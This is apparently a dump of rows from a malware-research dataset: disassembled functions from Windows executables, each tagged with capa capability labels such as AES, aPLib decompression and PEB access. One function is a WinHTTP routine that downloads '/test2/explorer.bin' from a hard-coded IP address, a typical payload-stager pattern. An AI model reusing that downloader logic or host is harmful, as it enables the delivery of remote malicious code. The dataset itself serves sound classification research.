joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011620
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r15
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor esi, esi
xor eax, eax
lock cmpxchg qword [0x14003a730], rbx
je 0x14001166c
cmp rax, rbx
jne 0x14001165f
mov ebx, 1
mov esi, ebx
jmp 0x140011671
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140011644
mov ebx, 1
mov eax, dword [0x14003a738]
cmp eax, ebx
jne 0x140011687
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x1400116ec
mov eax, dword [0x14003a738]
test eax, eax
jne 0x1400116e6
mov dword [0x14003a738], ebx
lea r15, [0x1400132f8]
lea rdi, [0x1400132e0]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r15
jae 0x1400116d8
test eax, eax
jne 0x1400116dc
cmp qword [rdi], 0
je 0x1400116cd
mov rax, qword [rdi]
mov rcx, qword [case.0x140007fd3.0]
call rcx
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x1400116ae
test eax, eax
je 0x1400116ec
mov eax, 0xff
jmp 0x1400117c8
mov dword [0x14003a180], ebx
mov eax, dword [0x14003a738]
cmp eax, ebx
jne 0x140011713
lea rdx, [0x1400132d8]
lea rcx, [0x1400132b0]
call sub.msvcrt.dll__initterm
mov dword [0x14003a738], 2
test esi, esi
jne 0x140011720
xor eax, eax
xchg qword [0x14003a730], rax
cmp qword [0x14003a750], 0
je 0x140011754
lea rcx, [0x14003a750]
call fcn.140011b60
test eax, eax
je 0x140011754
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14003a750]
mov r9, qword [case.0x140007fd3.0]
call r9
mov r8, qword [0x14003a198]
mov rdx, qword [0x14003a190]
mov ecx, dword [0x14003a188]
call fcn.14000210c
mov dword [0x14003a17c], eax
cmp dword [0x14003a1a0], 0
jne 0x140011784
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14003a180], 0
jne 0x140011799
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14003a17c]
jmp 0x1400117c8
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.140179000
add rsp, 0x28
jmp 0x140011620

Function at 0x140011a4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140011a98
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140011a90
cmp dword [rcx + 0x3c], edx
jl 0x140011a90
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140011a90
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140011a98
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140001000
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbx
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0xa0]
xor r12d, r12d
xor r9d, r9d
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x44], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
mov ebx, r12d
mov edi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x1400011ff
mov r8d, 0x1f9a
mov qword [rsp + 0x80], rbp
xor r9d, r9d
lea rdx, str.43.132.210.16
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, rax
test rax, rax
je 0x1400011c0
mov dword [rsp + 0x30], 0x100
lea r8, str._test2_explorer.bin
mov qword [rsp + 0x28], r12
lea rdx, [0x1400032c0]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov qword [rsp + 0x88], rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x1400011af
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400011a6
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400011a6
test r14, r14
je 0x1400011a6
mov qword [rsp + 0x90], r13
lea r13, [r12 - 1]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov rcx, rsi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000119b
test rdi, rdi
jne 0x140001154
mov ecx, dword [rsp + 0x40]
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
jmp 0x14000116a
mov edx, dword [rsp + 0x40]
mov rcx, rdi
add edx, ebx
add edx, 1
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14000119b
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov edx, ebx
mov rcx, rsi
add rdx, rax
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000119b
add ebx, dword [rsp + 0x44]
cmp dword [rsp + 0x40], r12d
ja 0x140001120
jmp 0x14000119e
mov ebx, r12d
mov r13, qword [rsp + 0x90]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rsi, qword [rsp + 0x88]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rbp, qword [rsp + 0x80]
test ebx, ebx
jne 0x1400011ff
test rdi, rdi
je 0x1400011ff
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400013a0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rbx
ret
test r14, r14
je 0x1400011e3
mov eax, ebx
test rdi, rdi
je 0x1400011e5
mov qword [r14], rdi
jmp 0x1400011e5
Function at 0x14000b9fc
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b77c
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba52
mov ecx, 1
call fcn.14000b77c
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
invalid
mov ch, 0
sub edi, dword [rdx + 0x2d]
jle 0x1400232e1
push qword [rax + 0x798e9dbf]
push rdx
test byte [rcx], ch
jge 0x140023291
mov al, 0xbf
popfq
invalid
mov edi, esi
push 0x71
insd dword [rdi], dx
push 0xfffffffffcbaff8f
mov dh, 0x18
invalid
cmpsb byte [rsi], byte [rdi]
loope 0x140023327
jno 0x14002333e
retf 0x1cfb
jno 0x1400232db
invalid
div dword [rsi + rdx*2]
sub bl, ch
in al, 0xda
adc eax, 0xda1640e9
cmp eax, 0xe55d75d3
invalid
Function at 0x140889058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1408891df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140889089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14088906f
add dl, dl
jne 0x140889096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408890f6
xor eax, eax
add dl, dl
jne 0x1408890a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408891ad
add dl, dl
jne 0x1408890b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408890c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408890d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408890dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408890ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14088907e
mov eax, 1
add dl, dl
jne 0x140889106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140889113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408890fb
sub eax, ebx
mov ebx, 1
jne 0x14088914c
mov ecx, 1
add dl, dl
jne 0x14088912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14088913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140889123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14088907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140889168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140889175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14088915d
cmp eax, 0x7d00
jae 0x14088919b
cmp eax, 0x500
jb 0x140889196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14088907e
cmp eax, 0x7f
ja 0x14088919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14088907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408891d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14088907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x401d28
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x401dcc
jmp 0x401d52
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x401d34
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x401dc7
jmp 0x401d78
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x401d5a
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, str.cw
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x401d6c
jmp 0x401d46
leave
ret

Function at 0x40309b
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x40314a
jmp 0x4030d0
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x4030b2
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x403145
jmp 0x4030f6
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x4030d8
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, [0x00721823]
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x4030ea
jmp 0x4030c4
leave
ret

Function at 0x4030a6
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov eax, 0
mov byte [rbp - 1], al
movzx eax, byte [rbp - 1]
cmp eax, 4
jge 0x40314a
jmp 0x4030d0
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
jmp 0x4030b2
mov eax, 0
mov byte [rbp - 2], al
movzx eax, byte [rbp - 2]
cmp eax, 4
jge 0x403145
jmp 0x4030f6
movzx eax, byte [rbp - 2]
add eax, 1
mov byte [rbp - 2], al
jmp 0x4030d8
mov rax, qword [rbp + 0x10]
movzx ecx, byte [rbp - 2]
movsxd rcx, ecx
shl rcx, 2
add rax, rcx
movzx ecx, byte [rbp - 1]
movsxd rcx, ecx
add rax, rcx
mov rcx, qword [rbp + 0x10]
movzx edx, byte [rbp - 2]
movsxd rdx, edx
shl rdx, 2
add rcx, rdx
movzx edx, byte [rbp - 1]
movsxd rdx, edx
add rcx, rdx
movzx edx, byte [rcx]
movsxd rdx, edx
lea rcx, [0x00721823]
add rcx, rdx
movzx edx, byte [rcx]
mov byte [rax], dl
jmp 0x4030ea
jmp 0x4030c4
leave
ret
Function at 0x415e40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x415fcb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.004328c0
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x415ea5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415eb4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415ed3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415ee3
cmp rbx, 0x1000
jae 0x415eab
jmp 0x415f4d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415ef5
xor edx, edx
jmp 0x415f44
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.004328c0
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x415ed9
jmp 0x415ec8
call fcn.004642a0
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00436960
lea rax, [0x004abcca]
mov ebx, 0x18
nop dword [rax]
call fcn.004371e0
mov rax, qword [rsp + 0x38]
call fcn.00436f20
lea rax, [0x004abfc1]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.004371e0
mov rax, qword [rsp + 0x30]
call fcn.00436f20
call fcn.00436ba0
call fcn.004369c0
lea rax, [0x004ada8a]
mov ebx, 0x21
call fcn.00434ec0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00415e40
Function at 0x416000
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x416226
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00432940
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x416073
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x416082
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x4160a5
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x4160b5
cmp rbx, 0x1000
jae 0x416079
nop
jmp 0x416138
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x4160cd
xor esi, esi
jmp 0x41612a
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00432940
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x4160ab
jmp 0x416096
call fcn.004642a0
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x4161c0
nop dword [rax + rax]
call fcn.00436960
lea rax, [0x004abfda]
mov ebx, 0x19
call fcn.004371e0
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call fcn.00436f20
lea rax, [0x004abfc1]
mov ebx, 0x19
call fcn.004371e0
mov eax, dword [rsp + 0x34]
call fcn.00436f20
nop
call fcn.00436ba0
call fcn.004369c0
lea rax, [0x004a95b7]
mov ebx, 0xd
call fcn.00434ec0
nop dword [rax + rax]
cmp eax, 0x5af
je 0x416160
call fcn.00436960
lea rax, [0x004abfda]
mov ebx, 0x19
call fcn.004371e0
mov rax, qword [rsp + 0x38]
call fcn.00436f20
lea rax, [0x004abfc1]
mov ebx, 0x19
call fcn.004371e0
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.00436f20
call fcn.00436ba0
call fcn.004369c0
lea rax, [0x004ad3d0]
mov ebx, 0x1f
nop dword [rax + rax]
call fcn.00434ec0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00416000
Function at 0x41e780
Capabilities:
Hash data using murmur3

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
cmp byte [0x008ff38f], 0
jne 0x41e870
sub rbx, qword [rax + 0x18]
mov rdx, qword [rax + 0x48]
test byte [rdx], al
mov ecx, dword [rax + 0x5c]
imul rcx, rbx
mov rbx, rcx
shr rbx, 0x20
shr rcx, 0x23
and ebx, 7
mov rsi, rcx
mov rcx, rbx
mov edi, 1
shl edi, cl
add rdx, rsi
nop
nop
nop
nop
lock or byte [rdx], dil
mov rcx, qword [rax + 0x18]
movabs rdx, 0x800000000000
add rdx, rcx
mov rbx, rdx
shr rdx, 0x2a
nop
nop
nop
cmp rdx, 0x40
jae 0x41e863
lea rsi, [0x00891498]
mov rdx, qword [rsi + rdx*8]
test byte [rdx], al
mov rsi, rcx
shr rsi, 0x10
and esi, 0x3f
shr rcx, 0xd
and ecx, 7
mov edi, 1
shl edi, cl
shr rbx, 0x16
and ebx, 0xfffff
mov rdx, qword [rdx + rbx*8]
test byte [rdx], al
movzx ebx, byte [rdx + rsi + 0x1040]
lea rdx, [rdx + rsi]
lea rdx, [rdx + 0x1040]
test dil, bl
jne 0x41e83e
lock or byte [rdx], dil
mov rcx, qword [r14 + 0x30]
mov rcx, qword [rcx + 0xa0]
test byte [rcx], al
mov rdx, qword [rcx + 0x1270]
add rdx, qword [rax + 0x68]
mov qword [rcx + 0x1270], rdx
add rsp, 0x10
pop rbp
ret
mov rax, rdx
mov ecx, 0x40
call fcn.00462e80
lea rax, [0x004af5c7]
mov ebx, 0x2c
nop dword [rax]
call fcn.00434ec0
nop
int3

Function at 0x420cc0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x420dc6
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov byte [rsp + 0x70], dil
mov qword [rsp + 0x10], 0
jmp 0x420d03
mov rax, qword [rsp + 0x58]
mov rcx, rdx
mov rbx, qword [rsp + 0x60]
movzx edi, byte [rsp + 0x70]
cmp qword [rsp + 0x10], rbx
jae 0x420dbb
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov ebx, edi
mov rax, rcx
nop dword [rax]
call fcn.00421aa0
test rax, rax
je 0x420dbb
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
lea rcx, [0x00420e00]
mov qword [rsp + 0x18], rcx
lea rdx, [rsp + 0x10]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x18]
mov qword [rsp], rbx
nop dword [rax]
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x68]
nop dword [rax]
test rdx, rdx
jne 0x420da9
xor eax, eax
jmp 0x420db3
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x68]
test al, al
je 0x420cf1
mov rax, qword [rsp + 0x10]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov byte [rsp + 0x20], dil
call fcn.00460b80
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movzx edi, byte [rsp + 0x20]
jmp fcn.00420cc0
Function at 0x42d860
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x42d959
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rax + 0x108], 0
mov ecx, dword [0x008ff930]
test ecx, ecx
je 0x42d932
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x10], 0
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
movups xmmword [rsp + 0x40], xmm15
lea rdx, [0x0042d980]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rcx
mov rcx, r14
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x10]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], 3
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x18]
mov qword [rsp], rcx
call fcn.00460a60
xorps xmm15, xmm15
mov r14, qword [0x008ff590]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x10]
cmp rax, 0x20
jge 0x42d92c
jae 0x42d94e
mov rcx, qword [rsp + 0x60]
mov qword [rcx + rax*8 + 8], 0
add rsp, 0x50
pop rbp
ret
lea rcx, [fcn.00441f80]
inc rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], 0
add rsp, 0x50
pop rbp
ret
mov ecx, 0x20
call fcn.00462e60
nop
mov qword [rsp + 8], rax
nop
call fcn.00460b80
mov rax, qword [rsp + 8]
jmp fcn.0042d860
Function at 0x42f8e0
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x18]
jbe 0x42fb66
push rbp
mov rbp, rsp
sub rsp, 0x38
test byte [rax], al
lea rsi, [rax + 0x1298]
mov rcx, qword [rax + 0x1288]
sub rcx, rsi
shr rcx, 3
cmp rcx, 0x200
ja 0x42fb5a
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
mov qword [rax + 0x1288], 0
cmp byte [0x008ff38f], 0
jne 0x42f93a
xor edx, edx
xor ebx, ebx
jmp 0x42f980
xor edx, edx
jmp 0x42f965
mov qword [rsp + 0x28], rdx
mov rcx, qword [rax + rdx*8 + 0x1298]
mov rax, rcx
call fcn.0041dfe0
mov rdx, qword [rsp + 0x28]
inc rdx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
cmp rdx, rcx
jl 0x42f93e
add rax, 0x1288
call fcn.0042f860
add rsp, 0x38
pop rbp
ret
inc rdx
nop
cmp rdx, rcx
jge 0x42faf4
mov rsi, qword [rax + rdx*8 + 0x1298]
cmp rsi, 0x1000
jb 0x42f97b
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov rax, rsi
xor ebx, ebx
mov rcx, rbx
call fcn.00413140
test rax, rax
jne 0x42f9cc
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42f97b
mov rsi, qword [rbx + 0x48]
test byte [rsi], al
mov r8, rcx
shr r8, 3
movzx r9d, byte [rsi + r8]
and ecx, 7
mov r10d, 1
shl r10d, cl
nop
add rsi, r8
test r10b, r9b
je 0x42fa0c
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42f97b
nop
lock or byte [rsi], r10b
mov rcx, qword [rbx + 0x18]
movabs rsi, 0x800000000000
lea r8, [rsi + rcx]
mov r9, r8
shr r8, 0x2a
nop
nop
nop
cmp r8, 0x40
jae 0x42fb4d
lea r10, [0x00891498]
mov r8, qword [r10 + r8*8]
test byte [r8], al
mov r10, rcx
shr r10, 0x10
and r10d, 0x3f
shr rcx, 0xd
and ecx, 7
mov r11d, 1
shl r11d, cl
shr r9, 0x16
and r9d, 0xfffff
mov r8, qword [r8 + r9*8]
test byte [r8], al
movzx r9d, byte [r8 + r10 + 0x1040]
lea r8, [r8 + r10]
lea r8, [r8 + 0x1040]
test r11b, r9b
jne 0x42fa8f
lock or byte [r8], r11b
movzx r8d, byte [rbx + 0x62]
test r8b, 1
je 0x42fac5
mov rax, qword [rsp + 0x48]
mov r8, qword [rax + 0x1270]
add r8, qword [rbx + 0x68]
mov qword [rax + 0x1270], r8
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x20]
jmp 0x42f97b
mov r8, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x30]
cmp r8, rcx
jae 0x42fb45
mov rbx, qword [rsp + 0x48]
mov qword [rbx + r8*8 + 0x1298], rax
inc r8
mov rax, rbx
mov rdx, qword [rsp + 0x28]
mov rbx, r8
jmp 0x42f97b
cmp rbx, 0x200
ja 0x42fb34
lea rdx, [rax + 0x1298]
lea rsi, [rax + 0x1260]
mov rcx, rbx
mov edi, 0x200
mov rbx, rdx
mov rax, rsi
call fcn.00424ac0
mov rax, qword [rsp + 0x48]
add rax, 0x1288
call fcn.0042f860
add rsp, 0x38
pop rbp
ret
mov rcx, rbx
mov edx, 0x200
nop dword [rax]
